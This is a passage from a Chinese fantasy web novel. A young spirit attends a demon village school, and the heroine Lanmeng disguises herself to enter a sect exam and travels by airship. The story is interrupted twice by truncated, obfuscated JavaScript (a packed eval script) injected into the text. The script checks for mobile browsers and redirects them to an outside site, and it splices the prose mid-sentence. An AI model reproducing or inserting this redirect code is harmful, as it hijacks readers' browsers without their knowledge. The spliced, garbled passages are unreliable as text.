一只白嫩的小手忽然从侧边探过来径直穿透了他的手掌。 昭离吓了一大跳,猛地钻出木雕飘到了半空中。 而罪魁祸首似懂非懂地盯着自己的手看,喃喃自语道:“还真的摸不到啊……” 他小小一只,身穿蓝白色的朴素衣袍,肩上斜挎着同色系的布包,头顶上一对毛茸茸的耳朵动了动。 昭离认出了那对耳朵,问道:“你是王麻虎?” 王麻虎抬头看着空中的黑雾,眼睛亮晶晶的,“对呀,这是我爹给我起的名字,厉害吧?” 昭离心想,你昨天还让阿音给你另起个名字呢。他钻进木雕里,问王麻虎怎么在这里。 “该去学堂了,我娘怕你不认识路,让我带你一起去。” 昭离面露难色:“可是我还得再游一圈。” “没事,我等你。”王麻虎笑嘻嘻道,他在岸边找了个石头坐了下来,双腿上下摇摆,十分悠闲。 太好了!可以晚一点再去找那条死蛇了!开心! 昭离自然也看出来王麻虎的雀跃了,但是也不想让他多等,一头扎进回溪之中,游了约莫一炷香的时间,他便回到了原点,从溪水里飞出来,钻进木雕之中化作少年模样。 “我们走吧。” 王麻虎迈着小短腿一蹦一跳地往前走,他们从村子中心的大道上路过,遇到的妖族都热情地和他们打招呼。 “王小虎,你怎么还在外面晃悠,不上学了?小心你爹打你屁股!” 王麻虎有恃无恐:“是我娘让我去接昭离哥的!王大虎才不敢打我!” 王大虎即他爹的大名。 “你叫,昭离是吧!给,新烤的红薯,多吃点,看你这细胳膊细腿的!” 昭离手里忽然多了一个热气腾腾的烤红薯,他被这份热情弄得有些无措,脸颊上也浮起了一层薄薄的红云。 他还是第一次见到这么多妖族嘞! 朗朗书声从私塾里传了出来,昭离跟在王麻虎身后走了进去。这个院子并不大,角落里有一棵石榴树,红彤彤的石榴挂满了枝头。正房就是学子念书的地方,他昨日见到的书生打扮的蛇妖霜笛正跪坐在案桌前,上半身半趴在桌面上,一手撑着脑袋,没个正形,而他的下方跪坐着五个小妖,捧着书本齐声念诵。 霜笛抬起眼往窗外看了一眼,抬手止住了小妖们的读书声,扬声道:“好了,休息一会。” 小妖们一哄而散,有的摔下书本,单手撑在窗沿上便翻了出去,有的倒头就睡,没多时就响起了如雷鼾声,有的变成原形在屋子里乱跑,上演一场“猫捉老鼠”的游戏。 一张画满了乌龟的宣纸飘到了霜笛的头顶,他满脸黑线,一把将其扯下,大骂道:“熊崽子们,给老子安分点!” 没人听他说话。 王麻虎也变作原形加入了捣乱大军,昭离忐忑地走进学堂里,站到新夫子面前。 霜笛双手环胸,审视的目光在昭离身上打转。 这小山魑栖身的木雕人偶一看就是岚孟的手笔,乍一看没什么问题,往细了看就会发现脸颊线条僵硬,左眼大右眼小,窄肩膀大屁股,也就这个没见识的土包子会爱不释手。 他悄悄在心里“切”了一声,问道:“以前念过书吗?” 昭离摇了摇头。 霜笛了然,“这些熊崽子学了七八年也没学会几个大字,正好让他们从头学起。”他转身从背后的架子上抽了一卷竹简出来朝昭离递去。 然而一只黑猫忽然从旁边窜了出来撞到霜笛手上,竹简“啪”地一声掉在了案上。 霜笛气极,怒骂道:“都捣什么乱呢!看看你们把屋子都弄成什么样了!喂!爬在房顶上那个,再把瓦片摔碎,仔细你的腿!还有蹲地上吃草那个,别看了,除了你这里还有谁会啃草皮吃?都被你啃秃噜皮了!明天让你爹滚过来给我把草皮修好!” “休息时间结束!给老子回来继续念书!” 小妖们纷纷跑了回来,规规矩矩化作人形坐在自己的位置上,昭离被安排坐在王麻虎旁边,学堂里又响起了抑扬顿挫的读书声。 一阵呼噜声响了起来,霜笛捡起桌上的笔就朝声源扔去。 昭离猛地低下头,那笔便从他脑袋上面飞过,径直打在了一个孩子头上,他懵懂地抬起头,睡眼惺忪道:“嗯?吃饭了吗?” 学子们哄堂大笑。 霜笛敲了敲桌子:“笑什么笑,继续念书!” 时光飞逝,夕阳渐渐西行,已是到了下学时间。 霜笛正要宣布下学,心有所感,抬头往门口望去,小妖们也纷纷转头。 只见院门处不知何时多了一个白衣蓝发的姑娘。 正是岚孟。 昭离“嗖”地一声冲到了她面前,兴高采烈道:“阿音,你 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霜笛长腿一蹬,从窗沿上翻了出来,路过石榴树时抬手拽了个红彤彤的石榴,一边往空中抛着石榴一边朝岚孟走来。 “你怎么又要闭关?堂堂春神神使,什么时候变得这般弱不禁风了?” 岚孟面无表情地瞥他一眼,“你有意见?” “岂敢。”霜笛站在岚孟身边,同她一起看着在院中围着昭离打闹的小妖们。 他的嗓音如早春时的微风,和煦温暖,却又夹杂着一丝若有似无的料峭春寒。 “神使这个位置,你要是坐不明白,不妨换更合适的人来坐。” “更合适的人?”她偏头去看站在自己身边的蛇妖,后者不由自主挺直了腰杆,就差没把“是我是我就是我”几个字写在身上了。 “就你?”岚孟嗤笑道。 “我怎么了,”霜笛不服气地反问道:“你这样的小辈都能担任神使,凭什么我不可以?当年老子在谷里叱咤风云的时候,你还是个毛都没褪干净的杂毛鸟呢!” “可以啊。”岚孟爽快地同意了。 霜笛差点平地一摔,结巴道:“你,你真的同意?” “这有什么不能同意的,”岚孟笑得灿烂。 “你让回溪倒流不就行了,到时候我直接让位给你,也不会有人不服气。” 回溪源于空山山巅的龙栖湖,围绕山脚小镇流淌,是云登谷最大的水源。让回溪倒流回龙栖湖,是选拔神使的唯一方式。 要想做到此事有两个难点。 一是如何让水往高处流。 二是,龙栖湖真的有龙。 霜笛嘴角微抽,颇为无语地瞪了她一眼,“你想让我死是吧?” 龙对蛇有天生的血脉压制,而且由于年少轻狂的时候,霜笛曾向那条常年沉睡于湖底的白龙,开了一个小小的、微不足道的玩笑,然后那条鼠腹鸡肠的龙就生气了,别说让回溪流回龙栖湖了,他现在甚至一靠近回溪就会被淋一身水,这么多年无一幸免。 所以他才将私塾开在了远离回溪的地方。 岚孟嘻嘻一笑:“这规矩可是春神大人定下的,你找我说理也没用。” 霜笛一怒之下怒了一下。 “过两天青鸟会送丹药过来,你帮我拿给昭离。” “你使唤我也太顺手了吧!”霜笛抗议道。 岚孟不理他,朝正在和小妖们玩摔跤游戏的昭离挥了挥手,“我回去了,照顾好自己,千万别勉强。” 昭离遗憾地“哎”了一声,还想和她说会话呢,岚孟便如流光飞向了空中,而不知道哪只小妖也不负众望将他绊倒了。 欢声笑语被秋风传送千里。 13. 月孤明 一个月后。 夜凉如水,一似去秋时①。 岚孟敲响了一方小院的门,“吱嘎”一声,门开了,她走进去后,院门又自动关上了。 屋中挂着一副巨大的春神画像,祂头戴羽冠,背后生着双翼,手持麦穗和柳枝,脚踏双龙,慈祥的眉眼注视着云登谷中每一个生灵,老者面对画像安然跪坐,明明屋中无风,他的发丝却在微微飘动。 岚孟跪坐在他身后,摇曳不定的烛火下,她的面容忽明忽暗,亮时柔和,暗时冷毅,眼神却一丝未改,始终是坚定决绝的样子。 “先生,我打算出门一段时间,归期未定。” 老者没有回头,“你现在应该在闭关。” “是。” “你的意思是,想让老夫帮你瞒过谷中其他人?”老者一语中的。 岚孟坚定道:“是。” “你好大的胆子。”随着老者话音落下,一阵迅疾的风刮进屋中,吹起了岚孟的衣袍和发丝,她只觉如坠冰窖,牙齿也冷得打颤。 可她岿然不动,像是屹立悬崖边的巨石,任风吹雨打也绝不挪动自己的身体。 良久,她听到了一声沉重的叹息,风停了,四肢也渐渐回暖。 虽然老者什么也没说,但岚孟知道,他已经同意了。 “多谢先生。”她恭敬地稽首。 岚孟出了小院之后便径直走到了云登谷入口处,众生石数千年如一日地躺在那里,沉默,坚定,稳重。 一根带着花苞的蔷薇藤从她手腕处探了出来,长到三寸长的时候自行断裂,扎进了众生石跟前的泥土里,缓缓长出更多枝条爬满整个众生石,洁白的蔷薇花悄然绽放,转瞬之间,随着花瓣的凋零,蔷薇藤变得透明,尽数隐入了众生石之中,仿佛从来不曾存在过一般。 做完这些,岚孟头也不回地踏出了云登谷,走出瀑布水帘的同时,她的头发、眼瞳都变成了黑色,妖气收敛进身体里,修为也跌落至人族知行境前期。 踏着月光,她离开了这个神秘又祥和的故乡。 - 翌日,宁州,奚玄山,奚玄门。 天空阴沉沉的,一场大雨将乌桕树叶打得七零八落,宗门前的空地上,一个腰后负剑的年轻男子正拿着竹扫帚在清扫落叶。 他蓦地叹了口气,并不理解明明是修行之人,却为何要干这种凡夫俗子干的活,还不允许用灵力。 秋风乍起,落叶盘旋着升上高空,他气得跺了跺脚,眼睛紧紧盯着那团被卷走的,红的、黄的、绿的落叶在天空中划过一条弧线,悠悠落在了不远处的山门台阶上。 一个黑衣姑娘踏着落叶走了上来,她头戴黑纱帷帽,腰侧挂着一刀一剑,右侧的剑长一尺九寸,朴素无华,像是沉默少言的刺客;左侧的刀长一尺八寸,镶嵌了各色宝石,精美又吵闹。 “道友,岳宗主可在?”黑衣女子,也就是岚孟问道。 男子回神,忙道:“在的,道友可有拜帖?” 他已经很久没有和奚玄门以外的人说过话了。奚玄门门规森严,无事不可下山,而且奚玄门如今式微,很少有客人来访。 岚孟递过去一只黄色的玉葫芦。 男子并不认识这枚玉葫芦,只是依稀记得听师兄们提起过,前任掌门腰间时常挂着一枚玉葫芦,不知道和此物有没有关系。 他不太确定,问道:“可否容在下前去通传一下?” 岚孟自无不可,任由男子接过玉葫芦,如疾风般掠进了宗门里。她在门前台阶上坐下,抬眼看着不远处的乌桕树林。 满树的绿叶已经被秋风吹成了明黄、橙红,火红,几只羽毛鲜艳的翠鸟在乌桕树之中穿梭、嬉戏,即使是寂寥的秋日,这片林子也充满盎然生机。 等百年之后,也在龙栖湖底种一棵乌桕树好了。 岚孟漫无边际地想着。 一只翠鸟振翅高飞,越过排列整齐的房屋,在另一棵十丈高的乌桕树上徘徊良久,终于寻到了满意的树杈子蹲了上去。窗下,一个身穿白色道袍的男人指尖捻着一枚白棋,从翠鸟身上收回目光,低头将白棋落在棋盘上的某处,而他的对面空无一人。 他便是奚玄门的掌门,岳孤明。 看了棋局许久,岳孤明才叹了口气,讷讷道:“前路渺茫啊……” 他抬起了桌边的茶杯。 这时,一个人走到了小院门口,正是方才同岚孟说话的年轻男子,他扬声道:“师傅,有客来访,带了个玉葫芦。” 玉葫芦?岳孤明一口茶水差点喷出来。 “咳咳,进来吧。”他道。 年轻男子举着玉葫芦走了进来,岳孤明一眼就认出了那枚玉葫芦就是他老爹的遗物,多年前便转赠给他人了。 她怎么来了……岳孤明腹诽道。他将玉葫芦收进袖中,吩咐徒弟将人请进来。 岚孟跟着年轻男子走进了奚玄门,偌大的山门冷冷清清,一路上几乎遇不到什么人。 她独自走进了掌门小院。 岳孤明看着面前这个戴着帷帽的黑衣女子,面上浮起疑惑,他试探道:“你是,岚孟?” 岚孟挑了挑眉,故意道:“岳掌门认错人了,晚辈姓闫,名扶音。” 岳孤明没好气瞪了她一眼,“你好歹把声音变一下,别以为我听不出来。” 岚孟施施然在他对面坐下,将帷帽取了下来。 岳孤明打量着面前这个既陌生又熟悉的人:碍事的长发短了不少,有修剪过的痕迹,向来宽松的衣服换成了简洁的黑衣,一副干净利落的打扮。 岳孤明叹道:“你居然把头发剪了,真是稀奇。” 认识岚孟这么多年,他就没见过她束发,也不戴首饰,穿的衣裳更像是套了个麻袋,毫无审美可言。他不理解,为何尧玦那么衣冠齐楚的一个人,教出来的弟子却这般不修边幅,仿佛这世上已经没有她在意的人了一样,随随便便就出门了。 不过,好像确实是这样的。 他的目光落在了一旁的帷帽上,鲛云纱……他直言问道:“你眼睛怎么了?” 岚孟没有隐瞒:“受了点小伤。” 看她那漫不经心的样子,应该不是什么大问题。 岳孤明问道:“你这次来有什么事?” 岚孟把玩着一颗黑棋,往空中抛上去又接住,她道:“山到源不是开始招丹灵卫了么,我希望奚玄门的名单里多一个名字。” 岳孤明点头同意:“可以,正好今年门中只有一人去,你来了也能给我们奚玄门撑撑场子。” “往年不都两三个么?名额减少了?”岚孟疑惑道。 岳孤明耸了耸肩:“名额倒是没有少,不过是我奚玄门无人罢了。长老们都走了,弟子也跑光了,说不定你下次再来,山里就只剩下我一个人咯。” “好歹你也是一派掌门,怎可说这种丧气话,你就没有再招到新弟子?还是他们的资质都太差了?”岚孟将那颗黑子落在了棋盘上,“我记得你门下不是有个小姑娘么?” 岳孤明看着因岚孟一子而被盘活的棋局,乍然露出个笑容,“是,她叫佟萧,是个有天赋的孩子,如今正在冲击闻道境,在后山闭关呢。” 岚孟道:“所以这次不是她?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929609|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “除了佟萧,唯一拿得出手的就是何与飞了,那小子虽然不如佟萧天资聪颖,但也算是个可塑之才,我想让他去历练历练。”岳孤明道。 他顿了顿,似乎颇为无奈,“这小子就是头倔驴,还跟我闹脾气呢,什么师姐不去我也不去,简直愚蠢!山到源的资源可是一等一的!他不想着进入丹灵卫薅点好东西回来孝敬我老人家,满脑子都是情情爱爱,要不是后继无人,我真想一掌劈了他!” 他愤恨地捶了一下桌面,棋子被震得跳了起来,落下时砸在棋盘上发出清脆的鸣响。 在培养弟子这一块,山到源素来大方。无论是外宗子弟、散修,抑或是妖族,都可以参加十年一度的丹灵卫考核,考上丹灵卫以后需要服役五十年,五十年后只要没死,就能自行决定去留。在此期间,山到源将会提供丰厚的修炼资源,丹药、法器应有尽有,最令人心动的当属位于山到源腹地崤山之上先贤祠内的传承,若是能领悟一二,对修为将大有裨益。这也是即使丹灵卫执行任务九死一生,半数时间都在同魔战斗,而九州修士也挤破了头想进入丹灵卫的最主要的原因。 无论考生人数几何,丹灵卫最终只取十人,选拔极其严苛,危机重重,稍不留神就可能命丧黄泉,即使如此,想要考丹灵卫的修士依旧如过江之鲫。 “年轻人么,不正是处在对感情好奇又执着的时候?不撞一次南墙是不会回头的,你说再多也没有用。” 岳孤明笑看她:“说得好像你有多懂似的。” “没吃过猪肉,我还没见过猪跑吗?不就是那么一回事么,有什么难的。”岚孟自信道。 岳孤明在心中冷笑,呵呵,我会等着你阴沟里翻船的那一天。 岚孟抓了一枚黑子上下抛着,状若无意道:“你不问问我去山到源干什么吗?” 岳孤明眸光微动,掩唇轻轻笑了一声道:“我不过是秉承先父遗志,为玉葫芦的主人做一件事而已,你去山到源做什么,是你的事情,与我这个穷酸掌门何干?” “你就不怕我顶着奚玄门的名头在山到源肆意妄为?届时他们找上门怎么办?”岚孟的眼中满是笑意,好整以暇地看着对面的年轻掌门。 岳孤明啜了一口茶水,没有乱了阵脚,他抬眼看她:“那岂不是正好,到时候那些大义凛然的山主们就会知道奚玄门从来就没有‘闫扶音’这号人物了,算不到我奚玄门的头上,而且还为奚玄门解决了一个冒名顶替、招摇撞骗之人,我这个掌门还得谢谢他才是。” 岚孟不满地“哼”了一声,将黑子扔进了棋篓里,问道:“何时动身?” 岳孤明歪头想了想,“我打算让与飞今夜动身,”他顿了一下,“嗯,从连溪城坐飞舟过去。” 飞舟也是万象斋的产业,比传送阵便宜很多,从宁州到山到源所在的陵州得飞上五个时辰,要是不嫌辛苦,三百灵石买个大通铺的船票也能到了。 岚孟点头道:“可以。”她自然是客随主便。 岳孤明思虑良久,还是觑着岚孟的脸色问道:“要是在试炼里碰到那小子有危险,你能不能顺手帮他一把?留着条小命,别让他死了残了就行。” 岚孟道:“我有什么好处?” “咱俩谁跟谁啊,谈这个多伤感情。”岳孤明打着哈哈说道。 “亲兄弟都要明算账呢,我可不能白费力气。”岚孟讨价还价道:“我要从这山里挑一棵乌桕。” 乌桕树?听她的口气,他还以为她要狮子大开口了,结果只要一棵树?她要树干什么?算了算了,一棵树而已,要多少有多少。 岳孤明一口答应下来。 14. 海外客 岳孤明心有所感,朝窗外看了一眼,皱眉道:“进来,鬼鬼祟祟的干什么呢。” 一阵悉悉索索的声音响起,不一会儿,一个身着蓝袍、腰间挂刀的男子走了进来。 那把刀长四尺三寸有余,彩似丹霞,岚孟不由自主在心中念出了刀名——含章,是岳家先祖得来的宝贝,据说是某个皇族的太子铸造的,竟然便宜了这小子。 岚孟不由得打量了何与飞几眼。 在岚孟观察他时,何与飞也在用余光打量这个陌生女子。 这人瞧着年纪不大,模样不错,不过比起师姐还是差了一点。腰间挂着一刀一剑,看周身灵力波动,是知行境前期修为,和他一样。也不知道师傅和她说什么呢,他才刚趴到墙根处,就被师傅发现了,什么都没听到。 待何与飞站在院中乌桕树下,隔着窗户对岳孤明行了一礼后,岳孤明才缓缓开口。 “这位是闫扶音闫小友,将以奚玄门弟子的身份与你一道前往山到源参加丹灵卫考核。”他叮嘱道:“不可对她无礼,也不可暴露她非我门弟子的事实。” 岚孟侧目看了岳孤明一眼,觉得他的腔调似乎多了几分威仪,不似方才同她交谈时那般散漫。眼前之人好像在呼吸之间,从一个相识多年的友人变成了肩负重任的一派掌门。 岳孤明的话好似晴天霹雳,引得何与飞虎躯一震,他下意识质问道:“凭什么!凭什么让她一个外人占用我们奚玄门的名额!” 而且昨日师傅还说,只有他一个人去丹灵卫试炼呢! “瞧你这话问的,”岳孤明并没有生气,端起茶杯啜了一口,斜眼看着院中因情绪激动而双颊泛红的徒弟,轻飘飘道:“你也不看看你那些师兄弟,还有哪个能修炼到知行境的?要不是佟萧在闭关,我奚玄门弟子除了你,无一人派得上用场,为师会派你个倔驴去那虎狼之地?” 何与飞恼道:“元初境不也一样可以去?师傅就是不信任我们!” 岳孤明道:“你说对了,为师确实不信任你们,特别不信任你,所以才给你找了个伴嘛。” 何与飞听得一愣一愣的,眼睛瞪得有铜铃一般大。 师傅这话也太伤人了吧…… 岳孤明看向对面的岚孟,温和道:“我这徒弟性子执拗,做事不过脑子,脾气也臭得像是茅坑里的石头一样,这一路若是有冒犯之处,还望小友多担待。” 岚孟忍住笑意,抱拳道:“岳掌门客气了,晚辈定当和令徒好好相处。” 何与飞在心里“嘁”了一声,谁要和她好好相处。 岳孤明放下心来,他并不怀疑岚孟的能力,于是摆了摆手道:“好了,无事便退下吧。” 见师傅心意已决,何与飞也无可奈何。他觉得最大的“倔驴”应该是师傅才对,他比不上师傅的万分之一。 据说当年宗门被魔族围攻,师祖临死前让师傅不用再管奚玄门,大难临头各自飞就好了,长老们都一走了之以后,师傅愣是一声不吭,仅靠一个人便守住了山门,撑到了当时的掌炬尧玦前来驰援,奚玄门千年基业才没有毁于一旦,虽然后来弟子纷纷下山,也没有新弟子愿意入宗,可奚玄门到底是没有灭宗,依然矗立在这个群雄并起、豪杰辈出的九州大地之上。 等何与飞离开掌门小院以后,岚孟才抬眼看着岳孤明,笑道:“还可以嘛,有些掌门的风范了。” 岳孤明没好气地瞪了她一眼,道:“在你面前的可是货真价实的掌门,你给我放尊重一点啊,别没大没小的。” 岚孟“嘁”了一声,纠正道:“小明明,我可是看着你长大的,和长辈说话就是这个态度?” 岳孤明不客气地嗤笑道:“你这牛皮吹得也太大了吧。想当年,我上山打鸟下河捉鱼的时候,也不知道是谁还蹲在尧玦前辈的肩头,一把新收的谷子就能哄走。” 他眼睛飘忽地朝上看去,嘴里还吹着乡间小调,一副“我就说你了你能拿我怎么办”的模样。 岚孟沉默半晌。 ……拳头硬了。 指节咔哒声传入耳中,岳孤明连忙岔开话题道:“嗐,差点忘记了,祈金珠还没给你呢。”他从怀中掏出一个鹌鹑蛋大小的浑圆金珠递了过去。 每年丹灵卫考核前三个月,山到源都会放出一定数量的祈金珠,各大仙门和妖族王室占去大部分,剩下的才是散修的,这三个月会发生无数起祈金珠抢夺赛,撑到正式选拔那天的才是真正的赢家。 岚孟本打算用往年的祈金珠蒙混过去,毕竟往年放出去的祈金珠一般也只能收回来九成,或者在去的路上现抢一个,反正羔羊多得是,只要不撞上以“四派”为首的仙门弟子就行了,其他人不足为惧。 既然奚玄门的祈金珠还有剩余,倒是省了她的麻烦了。 岚孟一把夺过岳孤明手中的祈金珠,起身道:“那我就先走了,奚玄山离连溪城还有点距离呢,希望你的弟子可不要拖后腿。” 岳孤明笑道:“去吧。” 岚孟大步流星走了出去,瘦削的背影逐渐消失在了漫天乌桕叶之中。 - 何与飞同岚孟抵达连溪城外的飞舟港口时,月亮刚刚升上东方的天空。 连溪港是宁州第一飞舟大港,有着十余艘飞舟,分别去往不同的城池。飞舟金碧辉煌,琉璃瓦在月光的银辉之下闪着稀碎的光泽,檐头悬挂的铃铛被清风吹出脆响,融入了人声鼎沸之中。其中最大、最富丽堂皇的一艘飞舟上人山人海,俱是前往山到源参加丹灵卫考核的修士。 何与飞一边往前走一边朝跟在身后的岚孟道:“姓闫的,我警告你,既然你名义上是我奚玄门弟子,出门在外就要谨言慎行,别给奚玄门丢脸!” 岚孟淡淡道:“行。” “还有,别以为师傅同意你替师姐去参加选拔,你就能取代师姐的位置!” 岚孟点头道:“那当然,佟萧可是岳掌门首徒,奚玄门修为高强的大师姐,我可没那个本事取代她的位置。” 何与飞只感觉自己一拳打在了棉花上,一肚子气发不出来,狠狠跺了跺脚,大步流星往飞舟上跑去了。 嘿……把人气跑了。 岚孟有点想笑。 由于丹灵卫考核在即,船票十分紧张,她加了五倍的钱才买到一张两人合住的票。她走进那屋子时,另一人不知去了何处,床上放了些衣物,她走到另一张床边坐了下来。 没过多久,号角声响起,飞舟开始缓缓移动,船帆“唰”地一声升了起来,檐头铃铛的响声交织在呼啸的风声中,飞舟离开地面,一阵颠簸过后逐渐变得平稳。苍穹之上缀满了忽闪忽暗的星辰,好像伸手就能将其摘下来,放入坛中酿作滋味绵长的美酒。 眼前忽有灵气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929610|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波动,一个黑漆漆的团子从虚空中掉了出来,在她大腿上滚了两圈,只有个白点的豆豆眼眨呀眨。 岚孟眉头微蹙,抬手落下一个结界,将那团子从自己腿上抚了下去。 黑团子在褥子上滚了几圈,然后又原路滚了回来,不知道是头还是屁股,抵着岚孟的腿没有动弹。她面无表情地用两根手指将其捻了起来,端端正正放在折叠整齐的被子上。 她盘腿而坐,双手环胸,上半身微微前伸,眯着眼睛责问道:“出现之前,你就不能提个醒吗?生怕我找不到机会暴露是吧?” 黑团子张了张嘴,吐出来的是一个带着笑意的女声:“哎呀呀,别生气嘛,下次注意下次注意。” 岚孟冷哼道:“你上次也这么说。” 远在东海的辛念讪讪地笑了笑。 “找我什么事?你拿到海鰌骨了?”岚孟问道。 “这倒是没有,我连大鲸鱼的影子都没见着。” 岚孟嗤笑,一句“废物”还没说出口,辛念便抢先道:“你帮我接应一个人,他现在就在陵州,正在被追杀。” 岚孟拧眉,问道:“也是朝圣道叛逃出来的?” “对,叫贺舟晏,暗系,擅长通过影子逃遁。” “就这么点消息?不知道人家长什么样,穿什么衣服,有什么明显的特征?” “呃……” 辛念嗫喏了半晌,迟疑道:“一个二十来岁小伙子,两只眼睛,一个鼻子……长得不难看吧,他小时候我还见过他来着,好像右边眉毛上有颗痣,不过长大了这痣还在不在我就不得而知了。” 她补充道:“追他的有两拨人,禅宗的,还有朝圣道的两条狗。禅宗的人好像有些来头,你要小心。” “知道了,”岚孟没好气道,“净会给我找麻烦。” “能者多劳嘛,不说了,海啸又要来了。” 不等岚孟说话,黑团子在甲板上翻滚几圈就消失了。 真是的……岚孟撤去结界,理了理被压皱的衣襟。 门“吱嘎”一声被人从外面推开了,岚孟闻声看去,一个姑娘走了进来。她穿着一身流光溢彩的纱衣,衣裳清凉,露出颈下大片肌肤,手里端着一盘糕点,一双绿色眼眸好奇地望向岚孟,她笑着寒暄道:“你好呀,我叫鸣珂。” 妖族?岚孟点头致意,面不改色道:“在下闫扶音。” 她本是由空山上一缕灵气幻化而成,体内灵气、妖气可相互转化,收敛了妖气之后,除非是遇到造化境强者,否则没人能看穿她的伪装。山到源能有如此修为的人,多是山主、源主之流,平日里一般是见不到的,所以岚孟并不担心自己会过早暴露。 鸣珂笑道:“你们人族不愧是美食行家呀,这些小点心也这么好吃。” 岚孟看了看她手中各式各样的糕点一眼,道:“万象斋的栀云一口酥才是绝味,等下了船,你可以去尝尝。” 鸣珂好奇道:“飞舟上没有吗?” 岚孟道:“这款点心每天只卖十屉,常常供不应求,飞舟上该是没有的。” 鸣珂惊奇道:“这么受欢迎的吗!”她走到岚孟床边,将手中糕点递过去,道:“你要吃吗?” 岚孟摇了摇头。 鸣珂也没有再劝,走回自己床上自顾自吃得开心。 让点心全都进她的肚子吧! 15. 揽月剑 一缕晨曦爬上桅杆,位于飞舟一楼的膳堂里已经坐了不少人,这包括早起抢饭吃的何与飞。出发之前师兄们就和他说过,飞舟的船票是包括食费的,而且万象斋的厨子都是从大酒楼挖来的,外面可吃不到那些菜,让他一定要每道菜都吃个饱。 于是天一亮,何与飞就一溜烟跑到了膳堂里,还占了个靠窗的好位置,抬头就能看见翻涌的云海。正享用美食的时候,门口忽然传来一阵喧哗,只见五个身着统一黛紫衣袍、腰上挂着剑的人大摇大摆走进了膳堂。 其中一人好不嚣张地撞了过道边的姑娘一下,那姑娘手中的饭顿时撒了一地,而他面无表情走了过去,仿佛从来没看见她一般。 和姑娘同行的男子立即站了出来:“喂,你撞到了人,不会道歉的吗?” 那人瞥他一眼,轻嗤一声,语气极其欠揍:“对不起哟,没看到她。” “你!”男子怒道。 姑娘察觉到了什么,扯了扯男子的衣袖,在他耳边低声道:“他们是揽月剑派的人……” “揽月剑派又如何,四大派的人就能随意欺辱他人吗?”男子正气凛然地说着,然而下一秒,眼前忽然闪过一道银光,他像是只奓了毛的猫,浑身的汗毛都竖了起来。 一根冰凌刺在他的脖子前,旋转着,似乎下一秒就会刺入他的脖颈,让冰花在他的血管中绽放。 这时,另一个身穿金白袍的男人从门口走了进来,他看向男子,眼神如鹰隼般犀利。 男子咽了咽口水,一滴冷汗从耳后顺着脖颈淌了下来,在冰凌的寒意下,汗珠表面也凝出了霜花。 “达文泰啊……”周围顿时响起窃窃私语。 “揽月剑派这一辈弟子里实力最强的两人之一,看人家那气焰……” 冰凌忽然解冻成水洒到了男子的靴子上,他劫后余生般舒了一口气。 达文泰冷冷看了他一眼,启唇吐出一个字:“滚。” 男子顿时夹着尾巴跑了,甚至没顾得上与他同行的女子。 女子愣了一瞬,继而气得跺了跺脚,然后才“噔噔噔”跑了出去。 率先进来的揽月剑派弟子殷勤地擦桌子、搬椅子,招呼达文泰过来坐,然而达文泰鸟都不鸟他们一眼,径直朝他们身后走了过去。 何与飞埋头吃着东西,忽然感觉眼前一暗,他抬头,看见一张令人生气的死人脸。 达文泰盯了何与飞半晌,忽然咧嘴笑道:“这不是奚玄门掌门亲传弟子,何与飞何师弟么?偌大的奚玄门竟无人可用了吗,怎么派你这个废物去参加丹灵卫考核?” 揽月剑派弟子们顿时发出嘘声。 “达师兄也太抬举他们了,就一野鸡门派!” “十个亲传弟子都是歪瓜裂枣,能挑出来一个就算不错了!哪能为难岳掌门啊,你们说是不是?” “哈哈哈哈!” 他们毫无顾忌地大笑起来,周围看客或一同嗤笑,或凝眉不语。 何与飞额上青筋冒起,五指紧握成拳,他压下怒气,问道:“有何贵干?” 达文泰在何与飞对面坐下,从他手中抢过筷子,扒拉着盘子里的菜,道:“老朋友一起叙叙旧,也不可以?” “谁和你是朋友!”何与飞咬牙切齿道,“少套近乎!” “生什么气呢。”达文泰夹了一块肉放进了何与飞的碗里,抬眼和他对视,唇角勾起一抹笑容,只不过放在他的脸上颇为滑稽僵硬。 “本是同根生,相煎何太急啊。放到几百年前,揽月剑派和奚玄门可是一家,我们这些后辈,也该和睦相处,一家人不说两家话才是。喏,多吃点肉,这可是银平山灵猪肉,奚玄门里吃不到这么好的灵肉吧?” 起舞剑揽月,行歌川抱刀①。 一开始,奚玄门以揽月剑、抱川刀立宗,刀、剑各有九式,刀剑合璧,所向披靡。可惜好景不长,几百年前,奚玄门祸起萧墙,刀剑两派纷争不断,大长老管尚仁携揽月剑和一干拥护者从奚玄门分裂了出去,另起炉灶,创立了揽月剑派,后来揽月剑派日益壮大,一跃成为“四派”之一。 数百年来,揽月剑派和奚玄门的关系向来势如水火,更何况三十年前奚玄门受到重创,揽月剑派吞并奚玄门的企图更是昭然若揭,曾派数名弟子借着切磋的名义上门挑衅,达文泰便是其中之一。 何与飞冷笑道:“没听说过儿子长大了反过来咬亲娘的,一家人?你们也配!” 达文泰并不理会何与飞的讽刺,自顾自从菜里挑肉,夹到一块就往何与飞碗里放一块。 “师弟何必如此恶语相向,师兄不过是有些事情想和你商量商量而已,我们自该相互扶持才是。” 何与飞油盐不进,他“呸”了一声道:“有屁快放!” “既然何师弟不想叙旧,那师兄我就直说了,我要你手里的祈金珠。”达文泰将最后一块肉放在了堆如小山的饭碗上。 何与飞“呵”了一声,抬眼直直对上达文泰的眼睛,锐气不减:“那我要是不给呢?” 达文泰叹了口气,“那师兄就只好使些手段了,听说佟萧正在闭关……” 